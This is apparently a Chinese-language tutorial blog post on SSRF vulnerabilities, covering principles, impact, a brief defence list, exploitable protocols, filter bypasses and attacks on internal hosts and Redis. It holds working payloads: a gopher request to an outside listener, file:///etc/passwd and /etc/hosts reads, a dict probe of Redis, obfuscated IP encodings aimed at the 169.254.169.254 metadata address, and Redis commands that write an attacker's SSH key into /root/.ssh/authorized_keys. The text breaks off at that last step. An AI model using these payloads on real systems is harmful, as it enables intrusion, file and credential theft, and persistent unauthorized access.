一文搞懂SSRF漏洞
1.原理
由于服务端提供了从其他服务器应用发起请求获取数据的功能,但没有对目标地址做过滤与限制;攻击者可以任意修改获取数据的地址,向指定的URL地址发起请求,获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造
一般情况下,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求。
简而言之:SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器
2.SSRF利用方式/存在点/危害
基本利用方式:
有回显看回显,无回显:
一般来说,目标出网的情况下,验证采用dnslog的方式,看能不能在Dnslog收到请求
如果目标不出网,则可以根据返回包的特征来进行判断,如目标端口开放响应时间200Ms,未开放则响应时间1000ms等
- 利用file协议读取本地文件(在有回显的情况下)
- DOS攻击(请求大文件,始终保持连
接keep alive always
) - 可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网web应用进行指纹识别,通过访问应用存在的默认文件实现
- 利用dict协议获取比如redis信息
存在点:
- 网页中数据库验证的功能点
- 有远程图片加载的地方
- 网站提供的各种下载功能点
- 未公开的api实现及调用URL的功能
简单来说:所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞
危害:
- 内网探测:攻击者若利用 SSRF 漏洞可以对内网服务器、办公机进行端口扫描、资产扫描、漏洞扫描,发现服务器内部的可用端口和漏洞等;
- 窃取本地和内网敏感数据:攻击者实施 SSRF 攻击后可以访问和下载内网的敏感数据,利用文件传输协议访问服务器本地文件,上传木马或者病毒。
- 跳板攻击:借助存在 SSRF 漏洞的服务器对内或对外发起攻击,以隐藏自己真实 IP 地址用来防止受害者溯源和追踪。
- 无视 CDN 的防护:CDN 主要可以对网站服务器的真实地址进行隐藏,而 SSRF 则可以无视 CDN 加速技术的防御直接识别真实的 ip 地址。
3.SSRF漏洞防御
1- 限制协议为HTTP、HTTPS,请求端口只能为web端口
2- 地址做白名单处理(限制不能访问内网的ip)
3- 禁止30x跳转
4- 过滤返回信息
5- 去除URL中的特殊字符
6- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
4.SSRF可以利用的协议
gopher
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)
公网IP的VPS监听 2333 端口
[root@host ~]# nc -lvp 2333
利用 gopher 协议访问,浏览器直接访问或者用 curl url
http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello
收到回显
[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 183.xxx.xxx.xxx.
Ncat: Connection from 183.xxx.xxx.xxx:9661.
hello
dict
适用于有回显的SSRF漏洞,可以直接通过构造url路径获取信息:
例如:获取服务器本机的redis信息
curl http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:6379/info
file
利用 file 协议可以读取任意内容,前提也是在有回显的情况下
http://127.0.0.1/ssrf.php?url=file:///etc/passwd
http/s
探测内网主机存活,也可以结合一些只需要Get的payload进行攻击利用
5.SSRF绕过
1、使用其他协议
有时候试试其他的协议可能危害更大
2、利用解析URL所出现的问题
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤
https://www.baidu.com@google.com
与 https://google.com
是一样的
3、更改IP地址写法
ip地址转换成进制来访问,例如http://127.0.0.1
可以写成这样:http://2130706433
或者IP地址部分地方转换为进制来表达
http://0xdc.181.57.216
4、滥用封闭的字母数字
也叫 Enclosed alphanumerics
字符集绕过
http://169。254。169。254/
http://169。254。169。254/
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/
http://②⑧⑤②⓪③⑨①⑥⑥:80/
http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://⓪⓪②⑤①。⓪⓪⓪③⑦⑥。⓪⓪⓪⓪②⑤①。⓪⓪⓪⓪⓪③⑦⑥:80/
http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/
http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/
http://⓪ⓧⓐ⑨。⓪③⑦⑥。④③⑤①⑧:80/
http://⓪ⓧⓐ⑨。⑯⑥⑧⑨⑥⑥②:80/
http://⓪⓪②⑤①。⑯⑥⑧⑨⑥⑥②:80/
http://⓪⓪②⑤①。⓪ⓧⓕⓔ。④③⑤①⑧:80/
5、短地址 + 302跳转 绕过
如果过滤了IP可以用网上的短地址生成工具
6、DNS重绑定
一般来说我们的操作系统默认能够将DNS返回来的这个IP地址信息保存60秒,而超过60秒后如果需要再次访问这个域名,就会重新去请求一次dns
简而言之:当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,修改DNS的A记录,却会返回一个不同于A的ip地址B
具体利用可以使用在线工具:DNS重绑定利用
6.SSRF在各种编程语言中的利用方式
SSRF在PHP中的利用
在PHP中,经常出现SSRF的函数有cURL、file_get_contents
等
其中,cURL支持http、https、ftp、gopher、telnet、dict、file 和 ldap
等协议,其中gopher协议和dict协议就是我们需要的。利用gopher,dict协议,我们可以构造出相应payload直接攻击内网的redis服务
SSRF在JAVA中的利用
在Java中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。常见的类中如HttpURLConnection
,URLConnection
,HttpClients
中只支持协议:http,https,file,ftp,mailto,jar,netdoc
但这里需要注意一个漏洞,那就是weblogic的ssrf,这个ssrf是可以攻击可利用的redis拿shell的
7.SSRF打内网
首先,尝试来获取存在 SSRF 漏洞的本机内网 IP 地址信息,确认当前资产的网段信息,使用file协议:
file:///etc/hosts
假设当前机器的内网地址为 172.23.23.21
,那么接下来就可以对这个内网资产段进行信息收集了
权限高的情况下还可以尝试读取
/proc/net/arp
或者/etc/network/interfaces
来判断当前机器的网络情况
之后可以配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口
之后可以对内网开放的端口做针对性攻击
8.SSRF打Redis
redis常见的SSRF攻击方式大概有这几种:
- 绝对路径写webshell
- 写ssh公钥
- 写contrab计划任务反弹shell
以写ssh公钥为例,如果.ssh
目录存在,则直接写入~/.ssh/authorized_keys
,如果不存在,则可以利用crontab创建该目录
构造redis命令:
flushall
set 1 'ssh-rsa xxx'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
Redis服务器与客户端通过RESP协议通信,所以使用脚本把命令转为RESP格式,执行恶意命令,ssh公钥成功写入: